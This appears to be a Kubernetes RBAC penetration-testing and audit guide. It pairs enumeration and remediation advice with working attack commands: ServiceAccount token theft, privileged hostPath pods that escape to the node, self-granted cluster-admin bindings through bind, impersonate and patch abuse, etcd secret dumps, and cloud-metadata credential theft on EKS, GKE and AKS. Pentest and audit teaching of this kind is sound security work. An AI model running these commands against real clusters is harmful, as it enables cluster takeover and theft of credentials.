Kubernetes RBAC Penetration Testing: Privilege Escalation and Security Audit

Kubernetes Role-Based Access Control is the primary authorization mechanism for every cluster. Get it right and you have a layered defense where even a fully compromised application pod cannot touch the control plane or adjacent workloads. Get it wrong — and it is wrong far more often than teams realize — and a single exploited container becomes a stepping stone to cluster-admin, etcd access, and every secret in the cluster.

RBAC misconfigurations are not edge cases. They are the most commonly exploited privilege escalation path in Kubernetes-based environments. The combination of Kubernetes' sprawling permission model, the pressure to get applications deployed, and the opacity of RBAC inheritance rules means that even security-conscious teams routinely grant more access than they intend. This guide covers how attackers enumerate, abuse, and escalate through those gaps — and what auditors need to look for on a formal engagement.

Kubernetes RBAC Fundamentals

Before exploiting RBAC, you need to understand exactly what you are looking at. Kubernetes RBAC uses four core resource types to express authorization policy:

A subject is the entity that receives permissions. Subjects can be:

Permissions are expressed as combinations of API groups, resources, and verbs. The full verb set includes get, list, watch, create, update, patch, delete, deletecollection, use, bind, escalate, and impersonate. The last three — bind, escalate, and impersonate — are the most dangerous and appear most often in privilege escalation chains.

Reconnaissance: Enumerating RBAC Permissions

Privilege escalation in a Kubernetes cluster begins with understanding what the current identity can do. Whether you have compromised a ServiceAccount token from a pod or you have external kubectl access as a low-privilege user, the reconnaissance phase is the same.

kubectl auth can-i

The built-in kubectl auth can-i command queries the API server's SelfSubjectAccessReview endpoint. It is the fastest way to spot-check specific permissions:

# Check a specific permission for yourself
kubectl auth can-i create pods
kubectl auth can-i get secrets -n kube-system
kubectl auth can-i '*' '*'  # Check if cluster-admin

# Check permissions as another subject (requires impersonate rights)
kubectl auth can-i list pods --as=system:serviceaccount:default:default
kubectl auth can-i get secrets --as=system:serviceaccount:kube-system:replicaset-controller

# List all permissions you have in a namespace
kubectl auth can-i --list -n production
kubectl auth can-i --list --all-namespaces

The --list flag dumps every permission the current identity holds. This is invaluable from a compromised pod — run it immediately after obtaining a ServiceAccount token to map the full attack surface before taking any escalation action.

rakkess — Access Matrix

rakkess (Resource Access Matrix) extends the built-in approach by generating a complete permission matrix for all resources in a namespace or cluster-wide. It shows which verbs are allowed on every API resource at a glance:

# Install rakkess
kubectl krew install access-matrix

# Generate access matrix for all resources in a namespace
kubectl access-matrix -n production

# Generate cluster-wide access matrix
kubectl access-matrix --sa kube-system:default

# Check access for a specific ServiceAccount
kubectl access-matrix --sa production:api-server

The output immediately reveals dangerous combinations: a ServiceAccount with create on pods plus exec, or list and get on secrets across all namespaces. These are the findings that define the escalation path before you touch a single exploit.

kubectl-who-can

Where rakkess answers "what can identity X do," kubectl-who-can answers the inverse question: "who can do action Y?" This is critical for auditing sensitive permissions cluster-wide:

# Install who-can
kubectl krew install who-can

# Who can read secrets across all namespaces?
kubectl who-can get secrets --all-namespaces

# Who can create pods in the kube-system namespace?
kubectl who-can create pods -n kube-system

# Who can impersonate users?
kubectl who-can impersonate users

# Who can bind ClusterRoles?
kubectl who-can bind clusterroles

# Who can modify RoleBindings in production namespace?
kubectl who-can update rolebindings -n production

Running kubectl who-can across the most dangerous verbs (bind, escalate, impersonate, create pods, update rolebindings, get secrets in kube-system) in the first twenty minutes of an engagement gives you the complete escalation landscape.

Manual RBAC Enumeration

# List all ClusterRoles
kubectl get clusterroles -o wide

# Find non-system ClusterRoles (filter out system: prefixed)
kubectl get clusterroles --no-headers | grep -v "^system:"

# List all ClusterRoleBindings with their subjects
kubectl get clusterrolebindings -o json | jq -r '.items[] | "\(.metadata.name)\t\(.roleRef.name)\t\(.subjects // [] | map("\(.kind)/\(.namespace // "cluster")/\(.name)") | join(", "))"'

# List RoleBindings in a namespace
kubectl get rolebindings -n production -o json | jq -r '.items[] | "\(.metadata.name)\t\(.roleRef.name)\t\(.subjects // [] | map(.name) | join(", "))"'

# Find all ServiceAccounts bound to powerful roles
kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == "cluster-admin") | .subjects[]?'

ServiceAccount Token Abuse

ServiceAccounts are the identity mechanism for processes running inside Kubernetes pods. Every pod runs as a ServiceAccount, and by default that ServiceAccount's JWT token is automatically mounted into the pod at /var/run/secrets/kubernetes.io/serviceaccount/token. This creates the most common initial access pattern in Kubernetes attacks: exploit an application vulnerability in a pod, read the mounted token, and use it to query the API server.

Default ServiceAccount Token Extraction

From a foothold inside a running pod (via RCE, SSRF, command injection, or a compromised CI job):

# Read the mounted ServiceAccount token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc

# Test API server access
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods | jq '.items[].metadata.name'

# Check own permissions
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -X POST $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'

# List secrets in the namespace (if permitted)
curl -s --cacert $CA -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/secrets | jq '.items[].metadata.name'

Kubernetes 1.21+ introduced bound service account tokens via the ServiceAccount Token Volume Projection feature. These tokens have an expiry, an audience, and are bound to the specific pod — they expire when the pod is deleted. However, many clusters still run workloads with the legacy auto-mounted token style, and some managed clusters have not enforced the newer format everywhere. Always check the token's claims:

# Decode the JWT payload (no signature verification needed for inspection)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

Look for the exp claim. A token with no expiry, or an expiry far in the future, is a legacy token that persists after the pod is destroyed — a significant finding.

Token Enumeration Across Running Pods

If the compromised ServiceAccount can list and exec into pods, you can enumerate tokens from every running pod in the namespace. Higher-privileged pods — operators, controllers, CI runners — often have more powerful ServiceAccounts:

# List all pods and their ServiceAccounts
kubectl get pods -n production -o json | jq -r '.items[] | "\(.metadata.name)\t\(.spec.serviceAccountName)"'

# Read token from a specific pod (requires exec permission)
kubectl exec -n production <target-pod> -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Find pods running as high-privilege ServiceAccounts
kubectl get pods --all-namespaces -o json | \
  jq -r '.items[] | select(.spec.serviceAccountName != "default") | "\(.metadata.namespace)\t\(.metadata.name)\t\(.spec.serviceAccountName)"'

Disabling automountServiceAccountToken

A key audit finding is identifying workloads that have not opted out of automatic token mounting. If the application does not need API server access, the token mount is pure attack surface:

# Find pods that have auto-mounted tokens (default behavior)
kubectl get pods --all-namespaces -o json | \
  jq -r '.items[] | select(.spec.automountServiceAccountToken != false) | "\(.metadata.namespace)\t\(.metadata.name)"' | head -40

# Find ServiceAccounts that do not opt out at the account level
kubectl get serviceaccounts --all-namespaces -o json | \
  jq -r '.items[] | select(.automountServiceAccountToken != false) | "\(.metadata.namespace)\t\(.metadata.name)"'

Privilege Escalation Paths

RBAC privilege escalation rarely requires a software vulnerability. Most paths rely entirely on overly permissive but syntactically valid RBAC configurations. The following are the most reliably exploitable patterns found in production clusters.

create pods + exec → Host Access

The most devastating two-permission combination in Kubernetes. A subject with create on pods and create on pods/exec can break out to the underlying node within seconds:

# Create a privileged pod that mounts the host filesystem
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: priv-escape
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  hostIPC: true
  containers:
  - name: pwn
    image: ubuntu:22.04
    command: ["/bin/bash", "-c", "sleep 3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Exec into it and read the node's filesystem
kubectl exec -it priv-escape -- chroot /host /bin/bash

# From chroot: read node's kubeconfig (kubelet credentials)
cat /etc/kubernetes/kubelet.conf

# Or read all secrets via the node's kubelet API
curl -sk https://127.0.0.1:10250/pods | jq -r '.items[].spec.volumes[].secret.secretName // empty'

Once inside the host chroot, you have the kubelet's client certificate, which provides access to the node-restricted API. From there, read every secret mounted by any pod on that node — including tokens from kube-system pods — and escalate to cluster-admin via those tokens.

bind Verb Abuse

The bind verb on roles or clusterroles allows a subject to create RoleBindings or ClusterRoleBindings that reference any role — including roles with permissions the subject does not themselves hold. This is a direct privilege escalation vector:

bind to cluster-admin A subject with bind on ClusterRoles can create a ClusterRoleBinding that grants themselves (or any ServiceAccount they control) the cluster-admin role. Kubernetes explicitly intended this to require the escalate verb to prevent, but configurations that grant bind without understanding the implication are common.
# Check if current identity has bind permission on clusterroles
kubectl auth can-i bind clusterroles

# If yes, bind cluster-admin to the current service account
kubectl create clusterrolebinding pwn-binding \
  --clusterrole=cluster-admin \
  --serviceaccount=$(kubectl config current-context):$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace):default

# Verify escalation
kubectl auth can-i '*' '*'  # Should return yes

Kubernetes 1.17+ introduced a protection: you cannot bind a role that grants permissions you do not already hold — unless you have the escalate verb. However, bind alone still lets you bind roles that contain only permissions you already have. The dangerous case is when a role grants bind on clusterroles with a resource name wildcard (*) rather than a specific list of safe roles.

impersonate Verb Abuse

The impersonate verb is the most powerful non-admin permission in Kubernetes. A subject with impersonate on users, groups, or serviceaccounts can make API requests as any identity in the cluster — including system:masters, which bypasses RBAC entirely:

# Check if current identity can impersonate
kubectl auth can-i impersonate users
kubectl auth can-i impersonate serviceaccounts
kubectl auth can-i impersonate groups

# Impersonate a high-privilege user
kubectl get secrets --all-namespaces --as=system:admin

# Impersonate the system:masters group (bypasses RBAC entirely)
kubectl get secrets --all-namespaces --as=system:anonymous --as-group=system:masters

# Impersonate a specific service account
kubectl get secrets -n kube-system \
  --as=system:serviceaccount:kube-system:replicaset-controller

# Use impersonation to create a new cluster-admin binding
kubectl create clusterrolebinding attacker-admin \
  --clusterrole=cluster-admin \
  --user=attacker \
  --as=system:masters

Granting impersonate on any resource type is functionally equivalent to granting cluster-admin. This permission should exist only for specific automation use cases (like Kubernetes aggregation layer services) and must be tightly scoped with resourceNames.

update/patch RoleBindings for Self-Escalation

A subject with update or patch on RoleBindings within a namespace can modify existing bindings to add themselves as a subject, inheriting the role's permissions:

# Check for update permissions on rolebindings
kubectl auth can-i update rolebindings -n production
kubectl auth can-i patch rolebindings -n production

# If yes, patch an existing admin-level RoleBinding to add your ServiceAccount
kubectl patch rolebinding <existing-admin-binding> -n production \
  --type='json' \
  -p='[{"op":"add","path":"/subjects/-","value":{"kind":"ServiceAccount","name":"default","namespace":"default"}}]'

# Or update the entire binding
kubectl get rolebinding <binding-name> -n production -o json | \
  jq '.subjects += [{"kind":"ServiceAccount","name":"default","namespace":"compromised-ns"}]' | \
  kubectl apply -f -

The same logic applies to update on ClusterRoleBindings if the subject has that permission cluster-wide. Always check both update and patch — they are functionally equivalent for this attack but checked separately by the RBAC engine.

escalate Verb and Role Modification

The escalate verb on roles allows a subject to modify a role to grant permissions beyond what the subject currently holds, and then benefit from that role. If a subject has update on a Role and escalate on the same Role, they can add any permission to it:

# Check escalate permission
kubectl auth can-i escalate roles -n production

# If yes, modify a role you can update to add wildcard permissions
kubectl patch role <target-role> -n production \
  --type='json' \
  -p='[{"op":"add","path":"/rules/-","value":{"apiGroups":["*"],"resources":["*"],"verbs":["*"]}}]'

get/list Secrets in kube-system

The ability to read secrets in kube-system is itself a path to cluster-admin. The namespace contains ServiceAccount tokens for the most privileged controllers in the cluster:

# List secrets in kube-system
kubectl get secrets -n kube-system

# Find the most interesting tokens
kubectl get secrets -n kube-system -o json | \
  jq -r '.items[] | select(.type == "kubernetes.io/service-account-token") | .metadata.name'

# Extract a high-privilege token (e.g., the replicaset-controller SA token)
kubectl get secret -n kube-system <token-secret-name> \
  -o jsonpath='{.data.token}' | base64 -d

# Use the extracted token
kubectl --token=<extracted-token> auth can-i '*' '*'

Node Compromise via Privileged Pods

Beyond RBAC, pod security context settings create direct paths to node compromise. The following settings, when permitted by the cluster's admission controllers, give a pod effective control over the node:

hostPID: true

Sharing the host PID namespace means the container can see and signal every process on the node. Combined with nsenter, this provides full access to any container's namespaces:

# From a pod with hostPID: true
# List all processes on the node (including other containers)
ps aux

# Enter another container's namespaces via nsenter
# First, find the PID of a target container process
ps aux | grep <target-process>

# Attach to that container's mount + net namespaces
nsenter -t <PID> -m -u -i -n -p --

# Or drop directly to the node's root process (PID 1 = systemd/init)
nsenter -t 1 -m -u -i -n -p --

hostPath Volume Mount

# Pod spec with access to the node's Docker socket or kubelet config
spec:
  containers:
  - name: attacker
    image: ubuntu:22.04
    volumeMounts:
    - name: docker-sock
      mountPath: /var/run/docker.sock
    - name: kubelet-conf
      mountPath: /etc/kubernetes
  volumes:
  - name: docker-sock
    hostPath:
      path: /var/run/docker.sock
  - name: kubelet-conf
    hostPath:
      path: /etc/kubernetes

# With Docker socket mounted, spawn a privileged container escaping to root
docker run -v /:/host --privileged -it ubuntu:22.04 chroot /host bash

Audit for Privileged Pod Permissions

# Find existing privileged pods
kubectl get pods --all-namespaces -o json | \
  jq -r '.items[] | select(.spec.containers[].securityContext.privileged == true) | "\(.metadata.namespace)\t\(.metadata.name)"'

# Find pods with hostPID or hostNetwork
kubectl get pods --all-namespaces -o json | \
  jq -r '.items[] | select(.spec.hostPID == true or .spec.hostNetwork == true or .spec.hostIPC == true) | "\(.metadata.namespace)\t\(.metadata.name)\thostPID=\(.spec.hostPID // false) hostNet=\(.spec.hostNetwork // false)"'

# Find pods with dangerous hostPath mounts
kubectl get pods --all-namespaces -o json | \
  jq -r '.items[] | . as $p | .spec.volumes[]? | select(.hostPath.path == "/" or .hostPath.path == "/etc" or .hostPath.path == "/var/run/docker.sock") | "\($p.metadata.namespace)\t\($p.metadata.name)\t\(.hostPath.path)"'

etcd Access and Key-Value Store Exploitation

etcd is Kubernetes' backing store — every secret, every ConfigMap, every pod definition, every RBAC policy is stored in plaintext (within the TLS session) in etcd. Direct etcd access is the highest-privilege read operation possible in a Kubernetes cluster: it bypasses the API server's RBAC checks entirely.

etcd typically listens on port 2379 (client) and 2380 (peer). Access requires either a valid client certificate or, in misconfigured deployments, no authentication at all. The client certificates are stored on the control plane node at /etc/kubernetes/pki/etcd/:

# From a node or pod with access to the control plane (check if etcd is reachable)
etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
  --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
  member list

# Dump all keys
etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
  --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
  get / --prefix --keys-only

# Read a specific secret (Kubernetes secrets are at /registry/secrets/<namespace>/<name>)
etcdctl \
  --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
  --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
  get /registry/secrets/kube-system/<secret-name> | strings

If encryption at rest (EncryptionConfiguration) is not configured in the API server, secrets are stored base64-encoded but not encrypted. The strings filter decodes the binary protobuf enough to reveal the secret value. Encryption at rest is a key audit item — check the API server flags:

# Check if encryption at rest is configured (run on control plane node)
ps aux | grep kube-apiserver | grep encryption-provider-config

# Or inspect the API server pod spec
kubectl get pod kube-apiserver-<node-name> -n kube-system -o yaml | \
  grep -A2 encryption

Namespace Escape Techniques

Kubernetes namespaces are a logical boundary, not a security boundary. They isolate API resources but do not prevent network communication or node-level access. Namespace escape paths include:

Cross-Namespace Secret Access via ClusterRoleBindings

# Check if a ClusterRole grants secret access across all namespaces
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.kind == "ClusterRole") | .metadata.name' | \
  while read binding; do
    role=$(kubectl get clusterrolebinding $binding -o jsonpath='{.roleRef.name}')
    can_secrets=$(kubectl get clusterrole $role -o json 2>/dev/null | \
      jq -r '.rules[]? | select(.resources[] == "secrets" or .resources[] == "*") | .verbs[]' 2>/dev/null | grep -c "get\|list\|watch" || echo 0)
    if [ "$can_secrets" -gt 0 ]; then
      echo "$binding (role: $role) can read secrets"
    fi
  done

DNS-Based Service Discovery Across Namespaces

Kubernetes DNS resolves services across namespaces using the fully qualified format <service>.<namespace>.svc.cluster.local. Without NetworkPolicies, any pod in any namespace can reach any service in any other namespace. Namespace isolation without NetworkPolicies is a documentation boundary, not a security boundary:

# From any pod: enumerate services in other namespaces via DNS
# (requires no NetworkPolicy)
for ns in default production staging kube-system; do
  echo "=== $ns ==="
  nslookup kubernetes.$ns.svc.cluster.local 2>/dev/null | grep Address
  curl -s --max-time 2 http://internal-api.$ns.svc.cluster.local/health 2>/dev/null | head -5
done

Cloud-Managed K8s: OIDC Token Attack Paths (EKS, AKS, GKE)

Managed Kubernetes services in AWS, Azure, and GCP extend the attack surface to the cloud control plane via workload identity mechanisms. Compromising a pod's ServiceAccount token can yield cloud IAM credentials.

AWS EKS: IRSA Token Theft

EKS uses IAM Roles for Service Accounts (IRSA). A ServiceAccount annotated with an IAM role ARN receives a web identity token projected into the pod. This token can be exchanged for temporary AWS credentials via STS:

# Check if a pod has IRSA configured
kubectl get serviceaccount <sa-name> -o jsonpath='{.metadata.annotations}'
# Look for: eks.amazonaws.com/role-arn

# From inside the pod, read the projected IRSA token
cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token

# Exchange for AWS credentials
AWS_ROLE_ARN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | \
  python3 -c "import sys,json,base64; p=sys.stdin.read().split('.')[1]; p+='='*(4-len(p)%4); d=json.loads(base64.b64decode(p)); print(d.get('eks.amazonaws.com/serviceaccount/arn',''))" 2>/dev/null)

aws sts assume-role-with-web-identity \
  --role-arn $AWS_ROLE_ARN \
  --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token \
  --role-session-name pwn-session \
  --duration-seconds 3600

# With obtained credentials: enumerate cloud resources
aws s3 ls
aws iam list-attached-role-policies --role-name <role-from-arn>

GKE: Workload Identity and Metadata Server

GKE Workload Identity maps Kubernetes ServiceAccounts to Google Cloud service accounts. Without Workload Identity enabled, the GCE metadata server is accessible from every pod, providing the node's service account credentials — often with broad GCP permissions:

# Check metadata server access from a pod (pre-Workload Identity or misconfigured)
curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# With Workload Identity enabled, check the K8s SA annotation
kubectl get serviceaccount <sa-name> -o jsonpath='{.metadata.annotations.iam\.gke\.io/gcp-service-account}'

# Read the Workload Identity token
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token?format=full" \
  -H "Metadata-Flavor: Google"

AKS: AAD Pod Identity / Workload Identity

# Check for Azure workload identity annotations
kubectl get serviceaccount <sa-name> -o yaml | grep azure

# From a pod with workload identity: read the federated token
cat $AZURE_FEDERATED_TOKEN_FILE

# Exchange for Azure access token
curl -s -X POST "https://login.microsoftonline.com/$AZURE_TENANT_ID/oauth2/v2.0/token" \
  -d "client_id=$AZURE_CLIENT_ID&federated_token=$(cat $AZURE_FEDERATED_TOKEN_FILE)&grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&scope=https://management.azure.com/.default"

RBAC Audit Tools

Kube-bench

Kube-bench runs the CIS Kubernetes Benchmark checks against a cluster, covering API server flags, etcd configuration, RBAC settings, and network policies. It is the first tool to run on any Kubernetes security audit:

# Run kube-bench as a Kubernetes Job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml

# View results
kubectl logs job/kube-bench

# Run locally against a specific target (control plane vs worker)
./kube-bench --config-dir /path/to/cfg --benchmark cis-1.8 run --targets master
./kube-bench run --targets node

Polaris

Polaris audits workload configurations for security and best-practice violations, including dangerous security context settings, missing resource limits, and RBAC-relevant configurations:

# Run Polaris as a one-shot audit
polaris audit --audit-path . --format=pretty

# Or run in-cluster
kubectl apply -f https://github.com/FairwindsOps/polaris/releases/latest/download/dashboard.yaml
kubectl port-forward --namespace polaris svc/polaris-dashboard 8080:80

rbac-tool

The rbac-tool plugin provides rapid RBAC analysis from multiple angles:

# Install
kubectl krew install rbac-tool

# Generate a policy matrix showing effective permissions
kubectl rbac-tool policy-rules -e '^system:'

# Look up permissions for a specific subject
kubectl rbac-tool lookup system:serviceaccount:production:api-gateway

# Identify which identities can reach a specific resource
kubectl rbac-tool who-can get pods -n kube-system

# Generate RBAC graph in DOT format for visualization
kubectl rbac-tool visualize --outformat dot > rbac-graph.dot
dot -Tsvg rbac-graph.dot -o rbac-graph.svg

rbac-audit (audit2rbac)

audit2rbac takes the Kubernetes API server audit log and generates the minimal RBAC policy required to satisfy the observed API calls. This is invaluable for implementing least-privilege after the fact:

# Run audit2rbac against the API server audit log
audit2rbac --filename /var/log/kubernetes/audit/audit.log \
  --user system:serviceaccount:production:api-server \
  > least-privilege-role.yaml

# Review the generated minimal role
cat least-privilege-role.yaml

Pod Security Standards and Admission Controller Bypass

Pod Security Standards (PSS) replaced PodSecurityPolicy in Kubernetes 1.25. They define three policy levels — Privileged, Baseline, and Restricted — enforced at the namespace level via labels. The enforcement modes are enforce (block), audit (log), and warn (user warning):

# Check PSS labels on namespaces
kubectl get namespaces -o json | \
  jq -r '.items[] | "\(.metadata.name)\t\(.metadata.labels["pod-security.kubernetes.io/enforce"] // "not-set")"'

# Namespaces without enforce=restricted are findings
kubectl get namespaces -o json | \
  jq -r '.items[] | select(.metadata.labels["pod-security.kubernetes.io/enforce"] != "restricted") | .metadata.name'

Admission Controller Bypass via Namespaces

PSS is enforced per-namespace. If an attacker can create a new namespace (which requires create on namespaces), they can create it without PSS labels and then deploy privileged pods into it:

# Check if current identity can create namespaces
kubectl auth can-i create namespaces

# If yes, create an unprotected namespace
kubectl create namespace attacker-ns
# Note: no PSS labels → defaults to Privileged mode

# Deploy a privileged pod in the new namespace
kubectl apply -n attacker-ns -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: priv-pod
spec:
  containers:
  - name: pwn
    image: ubuntu:22.04
    securityContext:
      privileged: true
    command: ["/bin/bash", "-c", "sleep 3600"]
  hostPID: true
EOF

Mutating Admission Webhooks as an Attack Surface

Mutating admission webhooks can modify pod specifications before they are persisted. A misconfigured or compromised webhook that applies to the kube-system namespace could inject malicious init containers or environment variables into control plane pods. Audit webhook configurations:

# List all mutating admission webhooks
kubectl get mutatingwebhookconfigurations -o yaml

# Check which namespaces and resources each webhook applies to
kubectl get mutatingwebhookconfigurations -o json | \
  jq -r '.items[] | "\(.metadata.name)\t\(.webhooks[].namespaceSelector // "no-selector (all namespaces)")"'

# Check webhook endpoints — external HTTPS services processing pod specs
kubectl get mutatingwebhookconfigurations -o json | \
  jq -r '.items[].webhooks[] | "\(.name)\t\(.clientConfig.url // (.clientConfig.service | "\(.namespace)/\(.name)"))"'

Network Policy Audit: East-West Traffic Testing

NetworkPolicies are the Kubernetes mechanism for restricting pod-to-pod traffic. Without them, any pod in the cluster can reach any other pod on any port. Critically, NetworkPolicies require a CNI plugin that enforces them — Flannel does not, Calico and Cilium do.

# Check which CNI plugin is in use
kubectl get pods -n kube-system -o wide | grep -E "calico|cilium|weave|flannel"
kubectl get daemonset -n kube-system

# Check for NetworkPolicies in each namespace
kubectl get networkpolicies --all-namespaces

# Namespaces with no NetworkPolicy are unrestricted
for ns in $(kubectl get namespaces -o jsonpath='{.items[*].metadata.name}'); do
  count=$(kubectl get networkpolicies -n $ns --no-headers 2>/dev/null | wc -l)
  echo "$ns: $count NetworkPolicies"
done

# Audit NetworkPolicies for overly permissive ingress rules
kubectl get networkpolicies --all-namespaces -o json | \
  jq -r '.items[] | select(.spec.ingress[].from == null or .spec.ingress[].from == []) | "\(.metadata.namespace)/\(.metadata.name) has unrestricted ingress"'

Practical East-West Testing

# Deploy a test pod and probe reachability across namespaces
kubectl run net-probe --image=nicolaka/netshoot --restart=Never -- sleep 3600

# Test connectivity to all services in the production namespace
kubectl exec net-probe -- bash -c '
for svc in $(kubectl get svc -n production -o jsonpath="{.items[*].metadata.name}"); do
  result=$(curl -s -o /dev/null -w "%{http_code}" --max-time 2 http://$svc.production.svc.cluster.local 2>/dev/null)
  echo "$svc: HTTP $result"
done'

# Port scan a specific pod IP (get pod IPs first)
kubectl get pods -n production -o wide
kubectl exec net-probe -- nmap -sT -p 1-65535 --open -T4 <pod-ip>

Using Kali Linux for Kubernetes Penetration Testing

Kali Linux provides most of the tools needed for Kubernetes penetration testing, with some additional installations required.

Initial Setup on Kali

# Install kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl && sudo mv kubectl /usr/local/bin/

# Install krew (kubectl plugin manager)
(
  set -x; cd "$(mktemp -d)" &&
  OS="$(uname | tr '[:upper:]' '[:lower:]')" &&
  ARCH="$(uname -m | sed -e 's/x86_64/amd64/' -e 's/aarch64/arm64/')" &&
  KREW="krew-${OS}_${ARCH}" &&
  curl -fsSLO "https://github.com/kubernetes-sigs/krew/releases/latest/download/${KREW}.tar.gz" &&
  tar zxvf "${KREW}.tar.gz" &&
  ./"${KREW}" install krew
)
export PATH="${KREW_ROOT:-$HOME/.krew}/bin:$PATH"

# Install essential plugins
kubectl krew install access-matrix who-can rbac-tool neat ctx ns

# Install kube-hunter
pip3 install kube-hunter

# Install etcdctl
apt-get install -y etcd-client

# Install k9s (TUI for cluster navigation)
curl -sS https://webinstall.dev/k9s | bash

kube-hunter

kube-hunter is an active vulnerability scanner for Kubernetes clusters. It can run in three modes: from outside the cluster (remote), from within a pod, or against a known IP range:

# Passive discovery from outside
kube-hunter --remote <cluster-api-endpoint>

# Active scanning (more intrusive — confirm scope)
kube-hunter --remote <cluster-api-endpoint> --active

# From inside the cluster (discovers additional internal attack surface)
kube-hunter --pod

# Output as JSON for report integration
kube-hunter --remote <endpoint> --report json > kube-hunter-results.json

k9s for Rapid Cluster Exploration

k9s provides an interactive TUI for navigating cluster resources. During an engagement it is faster than repeated kubectl commands for exploring pods, reading logs, and identifying interesting workloads:

# Start k9s
k9s

# Navigate to specific resource views with :<resource>
# :pod          → pod list
# :secret       → secret list
# :clusterrole  → cluster role list
# :ns           → namespace list

# From pod view, press 'e' to exec, 'l' to view logs, 'd' to describe
# From secret view, press 'x' to decode and view secret values (if permitted)

Reporting RBAC Findings with CVSS Scoring

RBAC findings vary significantly in severity depending on what is exposed and how many escalation steps are required. Use CVSS v3.1 to score each finding consistently.

Finding CVSS Score Vector Severity
ServiceAccount with cluster-admin ClusterRoleBinding 9.8 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Critical
impersonate verb granted on users/groups 9.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Critical
create pods + exec (node escape possible) 8.8 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H High
bind verb on ClusterRoles without resourceNames 8.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N High
update/patch RoleBindings in privileged namespace 7.6 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N High
get secrets in kube-system 7.5 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N High
Privileged pod allowed in production namespace 7.2 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H High
Default ServiceAccount token auto-mounted in all pods 5.4 AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N Medium
Missing NetworkPolicies (unrestricted east-west) 5.0 AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N Medium
etcd not encrypted at rest 4.9 AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N Medium

When chaining findings — for example, a pod with auto-mounted default token (Medium) where that token has create pods permission (which enables node escape, Critical) — report the chain as a single Critical finding with the full escalation path documented step by step. Standalone findings that only make sense as part of a chain should be footnoted under the primary finding.

Remediation: Least Privilege, Namespace Isolation, Audit Logging

Implementing Least Privilege RBAC

# Step 1: Create dedicated ServiceAccounts per workload
kubectl create serviceaccount api-server -n production
kubectl create serviceaccount worker -n production

# Step 2: Disable auto-mounting where not needed
kubectl patch serviceaccount default -n production \
  -p '{"automountServiceAccountToken": false}'

# Step 3: Create minimal Roles scoped to exactly what is needed
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: api-server-role
  namespace: production
rules:
- apiGroups: [""]
  resources: ["configmaps"]
  resourceNames: ["app-config"]  # Only this specific ConfigMap
  verbs: ["get", "watch"]
- apiGroups: [""]
  resources: ["endpoints"]
  verbs: ["get", "list", "watch"]

# Step 4: Never use wildcards in production RBAC
# BAD:
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

# GOOD:
rules:
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "list", "watch"]

Dangerous Verbs to Audit and Restrict

Verb / Permission Risk Mitigation
impersonate on users/groups/serviceaccounts Equivalent to cluster-admin Remove. Only for aggregation-layer services with strict resourceNames.
bind on roles/clusterroles Escalation to any bound role Remove or restrict with resourceNames to a safe allow-list.
escalate on roles/clusterroles Modify roles to add any permission Remove entirely from all non-admin subjects.
create pods + create pods/exec Node escape via privileged pod Separate roles; enforce Pod Security Standards at Restricted level.
get/list secrets cluster-wide Access to all credentials in all namespaces Namespace-scope only; use external secret management (Vault, ESO).
update/patch rolebindings Self-escalation by adding to binding Reserve for automated operators with specific binding names only.
